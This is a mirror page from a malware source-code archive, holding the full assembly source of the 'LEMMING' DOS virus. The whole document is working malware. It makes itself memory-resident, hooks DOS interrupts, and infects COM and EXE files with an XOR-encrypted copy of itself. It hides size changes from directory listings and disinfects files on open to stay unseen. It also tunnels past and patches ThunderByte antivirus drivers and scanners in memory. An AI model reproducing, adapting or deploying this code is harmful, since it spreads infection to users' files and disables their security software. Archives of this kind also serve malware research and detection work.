mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1126 lines
32 KiB
NASM
1126 lines
32 KiB
NASM
.286
|
||
.model tiny
|
||
.code
|
||
|
||
virus_size equ vir_end - start
|
||
virus_siz equ virus_size + virus_size
|
||
decrypt_size equ handle - next_function
|
||
data_size equ vir_end - step1
|
||
engine_size equ next_function - start
|
||
Int21_base equ 021h*4
|
||
timer_seg equ 01ch*4+2
|
||
virus_paragraphs equ virus_size * 2/16
|
||
|
||
code segment
|
||
assume cs:code,ds:code,es:code
|
||
|
||
|
||
progr equ 0100h
|
||
org progr
|
||
|
||
main:
|
||
start:
|
||
mov cx,decrypt_size
|
||
lea si,next_function
|
||
call ofset
|
||
ofset: pop bp
|
||
sub bp,109h ;Set postion of base pointer
|
||
decrypt:
|
||
xor byte ptr cs:[si][bp],00 ;Anti heuristic decryptor
|
||
key: ;will fool Thunderbyte.
|
||
jcxz next_function
|
||
dec cx
|
||
inc si
|
||
jmp decrypt
|
||
|
||
fooled_tbav:
|
||
|
||
|
||
next_function:
|
||
push es
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
call getcpu ;Detect CPU
|
||
je _8086
|
||
mov ax,0fffeh ;Determine if installed
|
||
int 21h
|
||
cmp bx,0ffffh ;Returns ffff in bx if so...
|
||
|
||
test_processor:
|
||
jne install__
|
||
_8086: jmp end_install ;Not 80286 compatible
|
||
|
||
transfer:
|
||
call get_int21
|
||
mov di,0100h
|
||
push cs
|
||
pop ds
|
||
lea si,word ptr cs:start[bp]
|
||
mov cx,virus_size
|
||
move:
|
||
rep movsb ;Move virus and make resident
|
||
|
||
copied:
|
||
|
||
call set_int21 ;Set int 21 to virus
|
||
jmp end_install
|
||
|
||
install__ proc near
|
||
push ds es
|
||
call anti_av ;Detect the presence of TBDRIVER
|
||
pop es ds ;and patch
|
||
mov ax,5802h ;are umb's available?
|
||
int 21h
|
||
jc install_low ;no then install in low memory
|
||
mov ax,5803h ;Chain mcb's into low memory
|
||
mov bx,1
|
||
int 21h
|
||
jc install_low
|
||
push es ;get current mcb
|
||
pop dx
|
||
dec dx
|
||
mov di,3 ;add to current mcb to get
|
||
;pointer to next mcb
|
||
walk: mov es,dx
|
||
cmp byte ptr es:[di-3],05ah
|
||
je lastmcb
|
||
add dx,word ptr es:di
|
||
inc dx ;search for last mcb.
|
||
mov es,dx
|
||
cmp byte ptr es:[di-3],05ah
|
||
jne walk
|
||
lastmcb:
|
||
mov ax,5803h ;remove umb link
|
||
xor bx,bx
|
||
int 21h
|
||
cmp word ptr es:[di],virus_paragraphs
|
||
ja hi_install ;Enough memory for UMB install?
|
||
push cs
|
||
pop es
|
||
jmp install_low
|
||
hi_install:
|
||
inc dx
|
||
mov es,dx ;es points to virus new CS
|
||
install_low:
|
||
push es
|
||
xor di,di
|
||
push es ;original psp segment
|
||
pop dx
|
||
dec dx
|
||
mov es,dx
|
||
cmp byte ptr es:[di],5ah
|
||
jne end_install
|
||
mov ax,virus_siz
|
||
mov cl,4
|
||
shr ax,cl
|
||
inc ax
|
||
inc ax
|
||
sub word ptr es:[di+3],ax ;
|
||
mov ax,word ptr es:[di+3] ;copy last mcb size into ax
|
||
pop cx
|
||
add cx,ax ;new segment
|
||
sub cx,10h
|
||
mov word ptr cs:new_seg[bp],cx
|
||
mov es,cx
|
||
jmp transfer ;go and move virus to new
|
||
;memory position
|
||
install__ endp
|
||
|
||
end_install:
|
||
pop ds
|
||
pop es
|
||
lea di,word ptr cs:buffer1[bp]
|
||
mov ax,05a4dh
|
||
cmp word ptr cs:[di],ax
|
||
jne goto_com
|
||
mov ax,word ptr cs:[di+16h]
|
||
push es
|
||
pop bx
|
||
|
||
add bx,10h
|
||
add ax,bx ;code segment
|
||
|
||
mov cx,word ptr cs:[di+0eh] ;get original ss
|
||
mov dx,word ptr cs:[di+10h] ;get original sp
|
||
add cx,bx
|
||
cli
|
||
mov ss,cx ;restore original ss and sp
|
||
mov sp,dx
|
||
sti
|
||
push ax
|
||
mov bx,word ptr cs:[di+14h] ;get original ip
|
||
push bx
|
||
call clear_reg ;clear all registers
|
||
retf ;and hand back control
|
||
|
||
goto_com:
|
||
cld
|
||
lea si,buffer1[bp] ;restore com entry point
|
||
mov di,0100h
|
||
mov cx,18h
|
||
rep movsb
|
||
push 0100h
|
||
call clear_reg
|
||
ret ;hand back control
|
||
|
||
clear_reg:
|
||
xor ax,ax
|
||
xor bx,bx
|
||
xor cx,cx
|
||
xor dx,dx
|
||
xor si,si
|
||
xor di,di
|
||
xor bp,bp
|
||
ret
|
||
|
||
anti_av proc near
|
||
; DISABLE TBDRIVER AGAINST TUNNELING DETECT
|
||
|
||
mov ax,5200h
|
||
int 21h ;es:bx
|
||
add bx,22h ;pointer to first device 'NUL'
|
||
;or 'CON'
|
||
next_search:
|
||
cld
|
||
lds si,word ptr es:bx
|
||
cmp si,-1
|
||
je not_found
|
||
push ds cs
|
||
pop es
|
||
lea di,scan[bp]
|
||
push si
|
||
add si,10 ;device name offset
|
||
;from bx pointer
|
||
mov cx,5
|
||
rep cmpsb ;search for device name
|
||
pop bx es
|
||
jne next_search
|
||
found: ;If TBDRIVER is found then
|
||
push ds ;patch against tunneling
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
mov di,bx
|
||
xor ax,ax
|
||
lea si,scan_string[bp]
|
||
next_char:
|
||
inc ax
|
||
mov cx,5
|
||
push si
|
||
rep cmpsb ;search for string
|
||
pop si
|
||
je bullseye
|
||
cmp ax,10116
|
||
je not_found
|
||
jmp next_char
|
||
|
||
bullseye:
|
||
mov es:[di-12],09090h ;disable tbdriver
|
||
not_found:
|
||
ret
|
||
scan db 'TBDRV'
|
||
scan_string db 0fah,09ch,0fch,053h,050h
|
||
anti_av endp
|
||
|
||
|
||
VirName db 0dh,0ah,'The Rise and Fall of ThunderByte-1994-Australia.',0dh,0ah
|
||
db ' You Will Never Trust Anti-Virus Software Again!! ',0dh,0ah
|
||
db '[LEMMING] ver .99<EFBFBD>'
|
||
|
||
Anti_tbscan proc near
|
||
|
||
push es ds si di ax bx cx dx
|
||
push bx
|
||
lea si,Tbscan
|
||
lea bx,tbscan_size
|
||
mov byte ptr cs:no_scasb_flag,0
|
||
call tbscan_test ;Is Tbscan being executed?
|
||
pop bx
|
||
jnc not_tbscan
|
||
push cs
|
||
pop ds
|
||
call hook_int1c ;
|
||
les di, dword ptr es:bx+2
|
||
push di
|
||
xor bx,bx
|
||
mov bl, byte ptr es:[di]
|
||
add di,bx ;di now points to end of C/T
|
||
lea si,tbscan_switch
|
||
cld
|
||
movsw
|
||
movsw
|
||
pop di
|
||
add byte ptr es:[di],3
|
||
not_tbscan:
|
||
pop dx cx bx ax di si ds es
|
||
ret
|
||
tbscan_size db 0,6,6,0
|
||
tbscan_switch db 20h,'c','o',0dh ;adding ' co' to command line
|
||
;forces tbscan into Compat
|
||
;mode
|
||
Anti_tbscan endp
|
||
|
||
get_int21 proc near
|
||
push es
|
||
push ds
|
||
xor bx,bx
|
||
mov ds,bx
|
||
mov bx,word ptr ds:[84h]
|
||
mov es,word ptr ds:[86h]
|
||
pop ds
|
||
mov word ptr cs:int_21_off[bp],bx ;save vector for later calls
|
||
mov word ptr cs:int_21_seg[bp], es
|
||
mov word ptr cs:int_21_off_o[bp],bx
|
||
mov word ptr cs:int_21_seg_o[bp],es
|
||
call int_trace
|
||
pop es
|
||
ret
|
||
get_int21 endp
|
||
|
||
set_int21 proc near
|
||
push es
|
||
|
||
xor ax,ax
|
||
mov ds,ax
|
||
lea ax,word ptr cs:int_21
|
||
mov bx,word ptr cs:new_seg[bp]
|
||
cli
|
||
mov ds:[134],bx
|
||
mov ds:[132],ax
|
||
sti
|
||
pop es
|
||
ret
|
||
set_int21 endp
|
||
|
||
identify proc near
|
||
|
||
;on entry, ds:dx points to asciiz file to be run.
|
||
;bx must point to file size table. EOT must be '0'
|
||
;si must point to table of strings to compare.
|
||
;direction_flag==0 for before '. e.g lemming.com' and 1 for after.
|
||
|
||
push ds ;pointers to asciiz
|
||
push dx
|
||
mov cx,00ffh
|
||
mov al,'.'
|
||
push ds
|
||
pop es
|
||
push dx
|
||
pop di
|
||
cmp byte ptr cs:no_scasb_flag,1
|
||
je no_scasb
|
||
cld
|
||
repne scasb
|
||
no_scasb:
|
||
xor ax,ax ;load index position (0).
|
||
xor cx,cx
|
||
push cs
|
||
pop ds
|
||
next_byte:
|
||
inc al
|
||
push ax
|
||
push di ;save position
|
||
push si
|
||
xlat
|
||
or al,al ;end of index?
|
||
jz no_match ;yes?
|
||
cmp byte ptr cs:direction_flag,1
|
||
je right
|
||
sub di,8 ;back up to begining of name
|
||
cmp byte ptr cs:no_scasb_flag,1
|
||
je right
|
||
add di,8
|
||
sub di,ax
|
||
dec di
|
||
right: mov cl,al ;bytes to count...
|
||
rep cmpsb
|
||
je match_found
|
||
pop si
|
||
add si,ax ;if not equal, next field
|
||
pop di
|
||
pop ax
|
||
jmp next_byte
|
||
|
||
match_found:
|
||
clc
|
||
jmp clear
|
||
|
||
no_match: stc
|
||
|
||
clear: pop ax
|
||
pop ax
|
||
pop ax
|
||
pop dx
|
||
pop ds
|
||
ret
|
||
|
||
direction_flag db 0
|
||
no_scasb_flag db 0
|
||
identify endp
|
||
|
||
|
||
do_not_infect proc near ;Table of files not to infect
|
||
start_:
|
||
AVSize db 4,4,6,3,5,5,0
|
||
AVName :db 'TBAV'
|
||
TBSCAN: db 'TBSCAN'
|
||
db 'NAV'
|
||
db 'VSAFE'
|
||
db 'FPROT'
|
||
|
||
do_not_infect endp
|
||
is_file_infectable proc near
|
||
|
||
extension_size db 4,3,3,3,3,0 ;Table of extensions to infect
|
||
extension: db 'COM'
|
||
db 'com'
|
||
db 'EXE'
|
||
db 'exe'
|
||
stop_:
|
||
is_file_infectable endp
|
||
|
||
stealth_a proc near ;Appears to be the same DIR
|
||
pushf ;stealth routines from NPOX
|
||
push cs
|
||
call skip_infect
|
||
test al,al
|
||
jnz no
|
||
|
||
push ax
|
||
push bx
|
||
push es
|
||
mov ah,51h
|
||
int 21h
|
||
|
||
mov es,bx
|
||
cmp bx,es:[16h]
|
||
jnz not_
|
||
mov bx,dx
|
||
mov al,[bx]
|
||
push ax
|
||
mov ah,2fh
|
||
int 21h
|
||
pop ax
|
||
inc al
|
||
|
||
jnz fcb_ok
|
||
add bx,7h
|
||
fcb_ok: mov ax,es:[bx+17h]
|
||
|
||
and ax,01eh
|
||
xor al,01eh
|
||
jnz not_
|
||
and byte ptr es:[bx+17h],0e0h
|
||
sub word ptr es:[bx+1dh],virus_size
|
||
sbb word ptr es:[bx+1fh],0
|
||
not_: pop es
|
||
pop bx
|
||
pop ax
|
||
no: iret
|
||
stealth_a endp
|
||
|
||
search_flag_b:
|
||
mov byte ptr cs:trace_flag,0 ;re-use to save memory
|
||
jmp dta_out
|
||
|
||
stealth_b proc near
|
||
pushf
|
||
push cs
|
||
call skip_infect
|
||
jc search_flag_b
|
||
mov byte ptr cs:trace_flag,1
|
||
push ax
|
||
push bx
|
||
push es
|
||
mov ah,2fh
|
||
int 21h
|
||
|
||
mov ax,es:[bx+16h]
|
||
mov cx,es:[bx+18h]
|
||
and ax,1eh
|
||
xor ax,1eh
|
||
jnz dta_out1
|
||
sub word ptr es:[bx+1ah],virus_size
|
||
sbb word ptr es:[bx+1ch],0
|
||
|
||
dta_out1: pop es
|
||
pop bx
|
||
pop ax
|
||
dta_out: retf 0002h
|
||
|
||
stealth_b endp
|
||
stealth: jmp stealth_a
|
||
|
||
critical_error_handler:
|
||
mov al,03h
|
||
iret
|
||
|
||
int_21 proc near
|
||
cmp ah,011h
|
||
je stealth
|
||
cmp ah,012h
|
||
je stealth
|
||
cmp ah,04eh
|
||
je stealth_b
|
||
cmp ah,04fh
|
||
je stealth_b
|
||
cmp ah,04bh
|
||
je file_infect_step
|
||
cmp ah,06ch
|
||
je disinfect_step
|
||
cmp ah,03dh
|
||
je disinfect_step
|
||
cmp ah,03eh
|
||
je file_infect
|
||
cmp ah,04ch
|
||
je program_terminate_step
|
||
cmp ax,0fffeh ;test if active in memory
|
||
jne direct
|
||
mov bx,0ffffh
|
||
iret
|
||
|
||
direct: jmp dword ptr cs:int_21_off
|
||
|
||
program_terminate_step:
|
||
call program_terminate
|
||
jmp direct
|
||
|
||
disinfect_step: jmp disinfect
|
||
|
||
file_infect_step:
|
||
call anti_tbscan
|
||
jmp file_infect
|
||
int_21 endp
|
||
|
||
|
||
|
||
get_filename_from_handle proc near
|
||
|
||
push bx
|
||
mov ax,1220h
|
||
int 2fh
|
||
mov ax,1216h
|
||
mov bl,es:[di]
|
||
int 2fh
|
||
pop bx
|
||
add di,11h
|
||
mov byte ptr es:[di-0fh],02
|
||
add di,17h
|
||
push di
|
||
pop dx
|
||
push es
|
||
pop ds
|
||
ret
|
||
get_filename_from_handle endp
|
||
|
||
infect_OK proc near
|
||
|
||
lea bx,extension_size
|
||
lea si,extension ;Test for EXE,COM,OVL
|
||
mov byte ptr cs:direction_flag,1
|
||
call identify
|
||
jc error ;if not exe then error
|
||
|
||
lea bx,avsize
|
||
lea si,avname ;Test for AV
|
||
tbscan_test:
|
||
mov byte ptr cs:direction_flag,0
|
||
call identify
|
||
jnc error ;If no AV then good!
|
||
|
||
no_error:
|
||
clc
|
||
ret
|
||
|
||
error: stc
|
||
ret
|
||
|
||
infect_ok endp
|
||
|
||
no_good:
|
||
jmp exe
|
||
|
||
file_infect proc
|
||
cmp bl,4
|
||
ja handle_ok
|
||
cmp ah,4bh ;determine if file open or
|
||
je handle_ok ;file execute
|
||
jmp skip_infect
|
||
handle_ok:
|
||
push ax
|
||
push bx
|
||
push es
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push di
|
||
push si
|
||
|
||
call set_critical_error_handler
|
||
cmp ah,4bh
|
||
jne only_handle_supplied
|
||
|
||
call open_file ;open file if call = ah=4b
|
||
jc no_good
|
||
cmp bl,5
|
||
jb no_good
|
||
mov byte ptr cs:execute_flag,1
|
||
|
||
push bx
|
||
mov byte ptr cs:no_scasb_flag,0
|
||
call infect_ok
|
||
pop bx
|
||
jnc skip_flag_check
|
||
jmp dont_infect_here
|
||
|
||
only_handle_supplied:
|
||
|
||
mov byte ptr cs:execute_flag,0 ;if flag ==1 then close
|
||
call get_filename_from_handle
|
||
|
||
|
||
push bx
|
||
mov byte ptr cs:no_scasb_flag,1
|
||
call infect_ok
|
||
pop bx
|
||
|
||
jnc good
|
||
jmp dont_infect_here
|
||
|
||
skip_flag_check:
|
||
|
||
good: call get_date
|
||
push dx
|
||
push cx
|
||
mov word ptr cs:old_date,dx
|
||
mov word ptr cs:old_time,cx
|
||
call is_file_infected
|
||
jc do_it
|
||
jmp loc_15
|
||
|
||
do_it: call set_offset_start
|
||
push cs
|
||
pop ds
|
||
lea dx,buffer
|
||
mov cx,18h
|
||
call read_file
|
||
push cx
|
||
|
||
cld
|
||
push cs
|
||
pop es
|
||
lea si,buffer
|
||
lea di,buffer1
|
||
mov cx,18h
|
||
rep movsb ;Save header for stealth
|
||
pop cx ;disinfect on open
|
||
cmp word ptr cs:[buffer1+0ch],1 ;Dont infect if number of
|
||
jb exe ;paragraps required after load
|
||
xor dx,dx ;is less than 1
|
||
call set_offset_e
|
||
cmp dx,0
|
||
ja big_enough
|
||
cmp ax,0fff0h-virus_siz
|
||
ja exe
|
||
|
||
big_enough:
|
||
cmp dx,4
|
||
ja exe
|
||
cmp byte ptr ds:[buffer],4Dh ; 'M' ; is file exe?
|
||
je file_is_exe ; Jump if equal;
|
||
jmp file_is_com
|
||
exe:
|
||
jmp loc_15
|
||
|
||
file_is_exe: ;Recalculate new EXE Header
|
||
push bx
|
||
mov cl,4
|
||
mov bx,word ptr [buffer+8]
|
||
shl bx,cl
|
||
push dx ax
|
||
sub ax,bx
|
||
sbb dx,0
|
||
mov bx,10h
|
||
div bx
|
||
mov word ptr [buffer+14h],dx
|
||
mov word ptr [buffer+16h],ax
|
||
add ax,virus_size/16
|
||
mov word ptr [buffer+0eh],ax
|
||
pop ax dx
|
||
add ax,virus_size
|
||
adc dx,0
|
||
mov bx,512
|
||
div bx
|
||
pop bx
|
||
inc ax
|
||
mov word ptr [buffer+4],ax
|
||
mov word ptr [buffer+2],dx
|
||
mov cx,18h
|
||
lea dx,buffer
|
||
push dx
|
||
push cx
|
||
jmp short loc_14
|
||
|
||
File_Is_Com:
|
||
sub ax,3
|
||
mov word ptr cs:[com_header_offset],ax
|
||
mov cx,3 ;header size in bytes
|
||
lea dx,com_header
|
||
push dx
|
||
push cx
|
||
loc_14:
|
||
|
||
call write_virus ;write and encrypt virus
|
||
call set_offset_start
|
||
pop cx
|
||
pop dx
|
||
call write_bytes
|
||
pop cx
|
||
or cl,01eh
|
||
push cx
|
||
|
||
loc_15:
|
||
pop cx
|
||
pop dx
|
||
call write_date
|
||
|
||
dont_infect_here:
|
||
cmp byte ptr cs:execute_flag,1
|
||
jne dont_close
|
||
mov ah,3eh
|
||
call dos
|
||
dont_close:
|
||
call restore_critical_error_handler
|
||
pop si
|
||
pop di
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop es
|
||
pop bx
|
||
pop ax
|
||
|
||
skip_infect:
|
||
jmp dword ptr cs:int_21_off
|
||
|
||
execute_flag db 0
|
||
|
||
file_infect endp
|
||
|
||
disinfect proc near
|
||
pusha
|
||
push ds es
|
||
cmp ah,06ch ;adjust ds:si to ds:dx if
|
||
jne not_extended ;ah == extended file open(6c)
|
||
push si
|
||
pop dx
|
||
not_extended:
|
||
mov byte ptr cs:no_scasb_flag,0
|
||
call infect_ok
|
||
jc skip_disinfect
|
||
call set_critical_error_handler
|
||
call open_file
|
||
jc skip_disinfect ;Skip disinfection on error
|
||
push cs
|
||
pop ds
|
||
|
||
call get_date ;Get file date
|
||
call is_file_infected ;Is the seconds field 60?
|
||
jne dont_disinfect ;If not, then quit
|
||
xor dx,dx
|
||
call set_offset_e ;get infected file size
|
||
push dx ;save
|
||
push ax
|
||
sub ax,1ch ;sub buffer size from end
|
||
sbb dx,0
|
||
mov cx,dx ;set new pointer to buffer
|
||
mov dx,ax
|
||
call no_xor
|
||
lea dx,old_date
|
||
mov cx,1ch ;buffer = 18h + 4 for date = 1c
|
||
call read_file ;read into buffer
|
||
call set_offset_start ;Restore original header
|
||
mov cx,18h
|
||
lea dx,buffer1
|
||
call write_bytes ;write at start
|
||
pop dx
|
||
pop cx
|
||
sub dx,virus_size
|
||
sbb cx,0
|
||
call no_xor ;set offset from start
|
||
mov ah,40h
|
||
xor cx,cx
|
||
call dos ;truncate
|
||
mov cx,old_time
|
||
mov dx,old_date
|
||
call write_date ;Restore original date and time
|
||
cmp trace_flag,0
|
||
je dont_disinfect
|
||
call reset_dta ;Adjust seconds field in DTA
|
||
dont_disinfect:
|
||
mov ah,3eh ;Close file
|
||
call dos
|
||
call restore_critical_error_handler
|
||
skip_disinfect:
|
||
pop es ds
|
||
popa
|
||
jmp dword ptr cs:int_21_off
|
||
|
||
disinfect endp
|
||
|
||
reset_dta proc near
|
||
push ax bx es
|
||
mov ah,2fh ;Get current DTA
|
||
call dos ;DTA pointed to by es:bx
|
||
mov ax,word ptr cs:old_time ;Get old time and
|
||
mov word ptr es:[bx+16h],ax ;save in DTA
|
||
pop es bx ax
|
||
ret
|
||
reset_dta endp
|
||
|
||
get_date proc near
|
||
mov ax,5700h
|
||
call dos
|
||
ret
|
||
get_date endp
|
||
|
||
write_date proc near
|
||
mov ax,5701h
|
||
call dos
|
||
ret
|
||
write_date endp
|
||
|
||
is_file_infected proc near
|
||
and cl,01eh ;Unmask seconds
|
||
cmp cl,01eh
|
||
ret
|
||
is_file_infected endp
|
||
|
||
com_header proc
|
||
db 0e9h ;JMP
|
||
com_header_offset dw 0000
|
||
com_header endp
|
||
|
||
|
||
set_offset_start proc
|
||
xor cx,cx
|
||
xor dx,dx
|
||
no_xor: mov ax,4200h
|
||
call dos
|
||
ret
|
||
|
||
set_offset_e:
|
||
xor cx,cx
|
||
mov ax,4202h
|
||
call dos
|
||
ret
|
||
read_file:
|
||
mov ah,3fh
|
||
call dos
|
||
ret
|
||
write_bytes:
|
||
mov ah,40h
|
||
call dos
|
||
ret
|
||
|
||
write_virus:
|
||
xor ax,ax
|
||
out 70h,al
|
||
in ax,70h ;Get seconds from computer
|
||
cmp ah,0 ;If seconds = 0 then
|
||
jne dont_mask ;set to 12
|
||
mov ah,12
|
||
|
||
dont_mask:
|
||
cmp ah,21h ;???
|
||
jne dont_mask1
|
||
mov ah,15h
|
||
|
||
dont_mask1:
|
||
mov byte ptr cs:key-1,ah ;Save key in virus decryptor
|
||
lea si,start ;move to preallocated memory for
|
||
lea di,vir_end ;encryption
|
||
inc di
|
||
mov cx,virus_size
|
||
cld
|
||
rep movsb ;Copy uninfected verson to
|
||
;encryption area
|
||
mov cx,decrypt_size
|
||
lea si,vir_end ;load si with virus and address
|
||
inc si ;inc to virus image to encrypt
|
||
add si,engine_size ;add 16h bytes so as not to
|
||
encrypt: ;encrypt virus engine
|
||
xor [si],ah
|
||
inc si
|
||
loop encrypt ;Encrypt
|
||
|
||
mov ah,40h
|
||
mov cx,virus_size
|
||
lea dx,vir_end
|
||
inc dx
|
||
call dos
|
||
ret
|
||
set_offset_start endp
|
||
|
||
dos proc near
|
||
Pushf ;Save flags for DOS IRET
|
||
call dword ptr cs:int_21_off_o ;original dos entry
|
||
ret
|
||
dos endp
|
||
|
||
open_file proc near
|
||
push ax
|
||
mov ax,3d02h
|
||
call dos
|
||
push ax
|
||
pop bx ax ;Put handle into BX
|
||
ret
|
||
open_file endp
|
||
|
||
set_critical_error_handler proc near
|
||
push ax bx dx es ds
|
||
push cs
|
||
pop ds
|
||
mov ax,3524h
|
||
call dos
|
||
mov critical_error_seg,es
|
||
mov critical_error_off,bx
|
||
lea dx,critical_error_handler
|
||
mov ax,2524h
|
||
call dos
|
||
pop ds es dx bx ax
|
||
ret
|
||
set_critical_error_handler endp
|
||
|
||
critical_error_off dw ?
|
||
critical_error_seg dw ?
|
||
|
||
restore_critical_error_handler proc near
|
||
mov ax,2524h
|
||
lds dx,dword ptr cs:critical_error_off
|
||
call dos
|
||
ret
|
||
restore_critical_error_handler endp
|
||
|
||
|
||
int_trace proc near
|
||
mov ax,3501h ;get trace interrupt
|
||
int 21h
|
||
mov di,es ;save seg and offset in di, si
|
||
mov si,bx
|
||
|
||
mov ax,2501h
|
||
lea dx,word ptr cs:int_01[bp] ;point trace to our segment
|
||
int 21h
|
||
pushf
|
||
push cs
|
||
lea ax,word ptr cs:exit_trace[bp] ;set up for after trace
|
||
push ax
|
||
|
||
cli
|
||
pushf
|
||
pop ax
|
||
or ax,100h ;switch trace flag on
|
||
push ax ;save flags
|
||
|
||
mov ax,word ptr cs:int_21_seg[bp]
|
||
push ax ;save seg
|
||
mov ax,word ptr cs:int_21_off[bp]
|
||
push ax ;save offset
|
||
mov ax,351ch ;get INT 1c address
|
||
mov byte ptr cs:trace_flag[bp],1
|
||
mov bx,bp
|
||
iret
|
||
exit_trace:
|
||
mov byte ptr cs:trace_flag[bp],0 ;turn of our trace flag
|
||
sti ;restore interrupts
|
||
mov ax,2501h ;restore original INT 01
|
||
mov dx,si ;Vectors
|
||
mov ds,di
|
||
int 21h
|
||
ret ;Done
|
||
int_01:
|
||
push bp
|
||
mov bx,bp
|
||
mov bp,sp
|
||
cmp byte ptr cs:trace_flag[bx],1
|
||
je tunnel_dos
|
||
tunnel:
|
||
and word ptr [bp+6],0feffh
|
||
mov byte ptr cs:trace_flag[bx],0
|
||
pop bp
|
||
iret
|
||
tunnel_dos:
|
||
cmp word ptr [bp+4],300h ;Are we in the DOS SEG?
|
||
jb save_vector
|
||
pop bp
|
||
iret
|
||
|
||
save_vector:
|
||
push cx
|
||
mov cx,[bp+2]
|
||
mov cs:int_21_off_o[bx],cx ;Delta offsets are used
|
||
mov cx,[bp+4]
|
||
mov cs:int_21_seg_o[bx],cx
|
||
pop cx
|
||
jmp tunnel
|
||
|
||
int_trace endp
|
||
|
||
program_terminate proc near
|
||
cmp byte ptr cs:tbexecute_flag,0
|
||
je tbscan_exit
|
||
mov byte ptr cs:tbexecute_flag,0 ;Turn off tbscan execute
|
||
mov byte ptr cs:done_flag,0 ;flag
|
||
call unhook_1c ;Restore int 1C
|
||
tbscan_exit:
|
||
ret
|
||
program_terminate endp
|
||
|
||
hook_int1c proc near
|
||
pusha
|
||
push es ds
|
||
mov ax,0351ch
|
||
call dos
|
||
mov int_1c_off,bx
|
||
mov bx,es
|
||
mov int_1c_seg,bx
|
||
lea dx,int1c
|
||
mov ah,025h
|
||
call dos
|
||
mov tbexecute_flag,1
|
||
pop ds es
|
||
popa
|
||
ret
|
||
hook_int1c endp
|
||
|
||
int1c proc near
|
||
cmp byte ptr cs:done_flag,1
|
||
je exit_1c
|
||
cmp byte ptr cs:tbexecute_flag,1
|
||
jne exit_1c
|
||
call convert_tbscan ;Patch TBSCAN with 'OWN'
|
||
exit_1c:
|
||
jmp dword ptr cs:int_1c_off
|
||
int1c endp
|
||
|
||
unhook_1c proc near
|
||
pusha
|
||
push es ds cs
|
||
pop ax ;ax= code seg
|
||
xor bx,bx
|
||
mov es,bx ;es= 0000h
|
||
push es
|
||
mov bx,word ptr es:timer_seg
|
||
mov es,bx
|
||
cmp bx,ax
|
||
jne dont_unhook
|
||
mov ax,word ptr cs:int_1c_seg
|
||
mov bx,word ptr cs:int_1c_off
|
||
pop es
|
||
cli
|
||
mov word ptr es:timer_seg,ax
|
||
mov word ptr es:timer_seg-2,bx
|
||
sti
|
||
dont_unhook:
|
||
pop ds es
|
||
popa
|
||
ret
|
||
unhook_1c endp
|
||
|
||
convert_tbscan proc near
|
||
pusha
|
||
push es ds cs
|
||
pop ax
|
||
xor bx,bx
|
||
mov es,bx
|
||
mov bx,word ptr es:timer_seg ;Trace through INT 1c which is
|
||
mov di,word ptr es:timer_seg-2 ;hooked by TBSCAN
|
||
mov es,bx
|
||
cmp bx,ax
|
||
je exit_convert
|
||
xor ax,ax
|
||
lea si,replace
|
||
push cs
|
||
pop ds
|
||
next_char2:
|
||
inc ax
|
||
mov cx,8
|
||
push si
|
||
rep cmpsb ;search for string 'DOS','OWN'
|
||
pop si ;within TBSCAN while it is in
|
||
je found_dos ;memory doing it's thing.
|
||
cmp ax,0fffeh
|
||
je exit_convert
|
||
jmp next_char2
|
||
|
||
found_DOS:
|
||
push es
|
||
pop ds
|
||
sub di,8
|
||
mov si,di
|
||
add si,4
|
||
mov cx,3
|
||
rep movsb
|
||
mov byte ptr cs:done_flag,1
|
||
exit_convert:
|
||
pop ds es
|
||
popa
|
||
ret
|
||
|
||
; Search Data
|
||
replace db 'DOS',0,'OWN',0
|
||
done_flag db 0
|
||
convert_tbscan endp
|
||
|
||
Getcpu proc near ;Test CPU Type
|
||
Pushf
|
||
Pop AX
|
||
Push AX
|
||
And AX,0FFFh
|
||
Push AX
|
||
Popf
|
||
Pushf
|
||
Pop AX
|
||
pop BX
|
||
And AX,0F000h
|
||
Cmp AX,0F000h
|
||
ret
|
||
getcpu endp
|
||
|
||
|
||
HANDLE:
|
||
|
||
step1:
|
||
data proc near
|
||
db '=!Packed file is corrupt<70>'
|
||
buffer db 17h dup(?) ;Modified EXE and Com header
|
||
db 90h
|
||
tbexecute_flag db 0
|
||
trace_flag db ? ;Used for tunneling
|
||
int_01_off dw ?
|
||
int_01_seg dw ?
|
||
int_1c_off dw ?
|
||
int_1c_seg dw ?
|
||
int_21_off_o dw ? ;Original INT 21
|
||
int_21_seg_o dw ?
|
||
int_21_off dw ? ;Chained INT 21
|
||
int_21_seg dw ?
|
||
new_seg dw ?
|
||
old_date dw ?
|
||
old_time dw ?
|
||
buffer1 db 90h ;Original file header for
|
||
mov ax,4c00h ;Com and Exe files
|
||
int 21h
|
||
db 11h dup(?)
|
||
db 90h
|
||
|
||
data endp
|
||
|
||
vir_end:
|
||
code ends
|
||
end main
|